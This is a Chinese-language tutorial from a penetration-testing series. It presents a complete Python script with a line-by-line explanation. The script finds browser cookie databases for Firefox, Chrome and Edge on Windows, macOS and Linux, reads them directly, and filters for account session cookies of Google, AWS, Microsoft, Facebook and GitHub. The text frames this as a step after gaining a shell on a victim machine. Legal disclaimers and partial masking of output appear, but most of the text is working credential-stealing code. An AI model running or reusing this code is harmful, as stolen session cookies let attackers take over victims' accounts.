Python 实战:内网渗透中的信息收集自动化脚本(5)
用途限制声明,本文仅用于网络安全技术研究、教育与知识分享。文中涉及的渗透测试方法与工具,严禁用于未经授权的网络攻击、数据窃取或任何违法活动。任何因不当使用本文内容导致的法律后果,作者及发布平台不承担任何责任。渗透测试涉及复杂技术操作,可能对目标系统造成数据损坏、服务中断等风险。读者需充分评估技术能力与潜在后果,在合法合规前提下谨慎实践。
这次我们来讲解关于使用python脚本获得cookie,这里或许有疑问,相比于浏览器或者抓包工具来获取cookie,那么用脚本来获取cookie有哪些优势呢,这里主要有两点
- 离线获取:无需浏览器处于运行状态,只要能访问到本地 Cookie 文件,即可获取历史存储的 Cookie,而开发者模式需要浏览器实时运行且用户手动操作,抓包工具需要依赖实时网络请求。
- 批量提取:可一次性读取浏览器存储的所有符合规则的 Cookie,无需逐个页面或请求查看。
在内网渗透中,已经getshell获得系统的权限下,这种读取cookie的方式就尤为合适了。
接下来通过代码来展示如何获取cookie,代码如下
import sqlite3
import os
import platform
from pathlib import Pathdef show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)# 获取不同浏览器在不同系统下的默认Cookie路径(优化Edge路径检测)
def get_browser_cookie_paths(browser):system = platform.system()paths = []try:if browser == "firefox":# Firefox: 所有系统均使用SQLite,路径格式统一if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin": # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))elif browser in ["chrome", "edge"]:# Chrome/Edge: 基于Chromium,优化路径检测(支持根目录和子配置文件夹)if system == "Windows":# Chrome默认路径chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"# Edge默认路径edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_baseelif system == "Darwin":base = Path.home() / "Library" / "Application Support" / ("Google/Chrome" if browser == "chrome" else "Microsoft Edge")elif system == "Linux":base = Path.home() / ".config" / ("google-chrome" if browser == "chrome" else "microsoft-edge")# 【优化点】:先检查根目录,再检查常见子配置文件夹(覆盖特殊路径场景)if base.exists():# 检查顺序:根目录 → Default → Profile 1 → Profile 2(适配更多场景)for profile in ["", "Default", "Profile 1", "Profile 2"]: if profile: # 非空字符串表示子文件夹cookie_file = base / profile / "Cookies"else: # 空字符串表示根目录(User Data直接存放Cookies)cookie_file = base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))elif browser == "safari":# Safari (仅macOS): 存储在~/Library/Cookies/Cookies.binarycookies(二进制格式)if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]# 读取Cookie数据库(适配不同浏览器的表结构)
def read_cookies(cookie_path, browser):try:# 不同浏览器的表名和字段可能不同if browser in ["firefox"]:# Firefox: 表名moz_cookies,字段顺序:host, name, valuequery = "SELECT host, name, value FROM moz_cookies"elif browser in ["chrome", "edge"]:# Chromium系: 表名cookies,字段:host_key, name, valuequery = "SELECT host_key, name, value FROM cookies"else:return []with sqlite3.connect(cookie_path) as conn:# 解决Chromium数据库锁定问题(只读模式)conn.execute("PRAGMA query_only = 1")c = conn.cursor()c.execute(query)return c.fetchall() # (host, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []def main():show_security_warning()# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取默认路径或手动输入default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookieif browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 目标Cookie规则target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID", "APISID", "SAPISID", "LSID"],".microsoftonline.com": ["ESTSAUTHPERSISTENT"],".facebook.com": ["c_user", "cs"],".onelogin.com": ["sub_session_onelogin.com"],".github.com": ["user_session"],".live.com": ["RPSSecAuth"],}# 4. 输出结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 隐藏中间部分值hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")if __name__ == "__main__":main()
1. 导入模块部分
import sqlite3
import os
import platform
from pathlib import Path
sqlite3
:用于操作 SQLite 数据库(大多数浏览器的 Cookie 以 SQLite 格式存储)os
:用于获取系统环境变量(如 Windows 的 APPDATA 路径)platform
:用于判断当前操作系统(Windows/macOS/Linux)Path
(来自 pathlib):提供更便捷的路径处理方法,支持跨平台路径操作
2. 安全提示函数 show_security_warning()
def show_security_warning():print("="*50)print("⚠️ 安全与法律声明 ⚠️")print("1. 此工具仅允许用于自己拥有完全合法权限的设备和数据")print("3. Cookie包含敏感会话信息,操作后请立即销毁输出结果,防止泄露")print("="*50)confirm = input("确认已理解并严格遵守以上规定?(输入'y'继续,其他键退出):").strip().lower()if confirm != 'y':print("程序已退出")exit(0)
- 功能:程序启动时强制显示安全声明,强调合法性和数据敏感性
- 逻辑:只有用户输入 'y' 才继续执行,其他情况直接退出
3. 浏览器 Cookie 路径获取函数 get_browser_cookie_paths(browser)
def get_browser_cookie_paths(browser):system = platform.system() # 获取当前系统(Windows/Darwin即macOS/Linux)paths = []try:# 根据浏览器类型和系统,定义不同的默认路径规则if browser == "firefox":# Firefox的路径规则(所有系统均使用cookies.sqlite文件)if system == "Windows":base = Path(os.getenv("APPDATA")) / "Mozilla" / "Firefox" / "Profiles"elif system == "Darwin": # macOSbase = Path.home() / "Library" / "Application Support" / "Firefox" / "Profiles"elif system == "Linux":base = Path.home() / ".mozilla" / "firefox"# 查找所有配置文件中的cookies.sqliteif base.exists():for profile in base.iterdir():if profile.is_dir():cookie_file = profile / "cookies.sqlite"if cookie_file.exists():paths.append(str(cookie_file))# Chrome和Edge(基于Chromium内核,路径规则相似)elif browser in ["chrome", "edge"]:if system == "Windows":chrome_base = Path(os.getenv("LOCALAPPDATA")) / "Google" / "Chrome" / "User Data"edge_base = Path(os.getenv("LOCALAPPDATA")) / "Microsoft" / "Edge" / "User Data"base = chrome_base if browser == "chrome" else edge_base# ... 省略macOS和Linux的路径定义 ...# 优化点:按优先级检查路径(根目录 → Default → Profile 1等)if base.exists():for profile in ["", "Default", "Profile 1", "Profile 2"]: cookie_file = base / profile / "Cookies" if profile else base / "Cookies"if cookie_file.exists():paths.append(str(cookie_file))# Safari(特殊二进制格式,仅macOS支持)elif browser == "safari":if system == "Darwin":cookie_file = Path.home() / "Library" / "Cookies" / "Cookies.binarycookies"if cookie_file.exists():paths.append(f"[Safari特殊格式] {str(cookie_file)}(需额外解析工具)")# 返回结果处理return paths if paths else [f"未找到{browser}的默认Cookie路径,请手动指定"]except Exception as e:return [f"获取路径失败:{str(e)}"]
- 核心功能:根据浏览器类型和操作系统,自动查找默认的 Cookie 文件路径
- 细节处理:
- 针对不同浏览器(Firefox/Chrome/Edge/Safari)的路径特性分别处理
- 考虑多配置文件场景(如 Chrome 的 "Default"、"Profile 1" 等)
- 对 Safari 特殊说明(二进制格式,需专用工具解析)
- 异常处理:路径获取失败时返回错误信息
4. Cookie 读取函数 read_cookies(cookie_path, browser)
def read_cookies(cookie_path, browser):try:# 不同浏览器的SQLite表结构不同,需使用对应查询语句if browser in ["firefox"]:query = "SELECT host, name, value FROM moz_cookies" # Firefox表名和字段elif browser in ["chrome", "edge"]:query = "SELECT host_key, name, value FROM cookies" # Chromium系表名和字段else:return []# 连接数据库并读取数据with sqlite3.connect(cookie_path) as conn:conn.execute("PRAGMA query_only = 1") # 只读模式,避免锁定浏览器数据库c = conn.cursor()c.execute(query)return c.fetchall() # 返回结果格式:(host/host_key, name, value)except sqlite3.Error as e:print(f"数据库读取错误:{e}")return []
- 核心功能:连接浏览器的 Cookie 数据库(SQLite 格式),读取 Cookie 的核心信息(域名、名称、值)
- 关键处理:
- 适配不同浏览器的表结构差异(Firefox 用
moz_cookies
表,Chromium 系用cookies
表) - 设置
PRAGMA query_only = 1
:以只读模式打开,避免浏览器运行时数据库被锁定的问题 - 异常捕获:处理 SQLite 操作可能出现的错误(如文件损坏、权限不足)
- 适配不同浏览器的表结构差异(Firefox 用
5. 主函数 main()
def main():show_security_warning() # 先显示安全提示# 1. 选择浏览器browsers = ["firefox", "chrome", "edge", "safari"]print("\n支持的浏览器:", ", ".join(browsers))browser = input("请输入要查询的浏览器(如firefox):").strip().lower()if browser not in browsers:print("不支持的浏览器")return# 2. 获取Cookie路径(默认或手动输入)default_paths = get_browser_cookie_paths(browser)print(f"\n{browser}的默认Cookie路径(可能有多个):")for i, path in enumerate(default_paths, 1):print(f"{i}. {path}")# 选择使用默认路径还是手动输入use_default = input("是否使用上述路径?(y=使用第一个,n=手动输入):").strip().lower()if use_default == 'y' and default_paths and "未找到" not in default_paths[0] and "[Safari特殊格式]" not in default_paths[0]:cookie_path = default_paths[0]else:cookie_path = input("请手动输入Cookie数据库路径:").strip()if not Path(cookie_path).exists():print("路径不存在")return# 3. 读取并筛选Cookie(跳过Safari,因需特殊解析)if browser == "safari":print("\nSafari的Cookie为二进制格式,需使用专门工具解析(如binarycookies库),此处不支持直接读取")returncookies_data = read_cookies(cookie_path, browser)if not cookies_data:print("未读取到Cookie数据")return# 4. 筛选敏感Cookie(定义目标规则)target_cookies = {".amazon.com": ["aws-userInfo", "aws-creds"],".google.com": ["OSID", "HSID", "SID", "SSID"], # 谷歌账号相关Cookie".microsoftonline.com": ["ESTSAUTHPERSISTENT"], # 微软账号相关# ... 省略其他规则 ...}# 5. 输出筛选结果(隐藏部分敏感值)print("\n=== 筛选结果 ===")found = Falsefor item in cookies_data:host, name, value = itemfor domain in target_cookies:if host.endswith(domain) and name in target_cookies[domain]:# 敏感值部分隐藏(显示前5后5字符,中间用***代替)hidden_value = f"{value[:5]}***{value[-5:]}" if len(value) > 10 else valueprint(f"域名: {host}\n名称: {name}\n值(部分隐藏): {hidden_value}\n{'-'*40}")found = Trueif not found:print("未找到符合规则的Cookie")
- 核心流程:程序的主控制逻辑,串联各功能模块
- 步骤解析:
- 先调用安全提示函数,确保用户确认合规性
- 让用户选择浏览器,校验输入合法性
- 获取并展示默认 Cookie 路径,支持用户选择默认路径或手动输入
- 对非 Safari 浏览器,调用
read_cookies
读取数据 - 用
target_cookies
规则筛选敏感 Cookie - 输出结果时对敏感值进行部分隐藏,减少泄露风险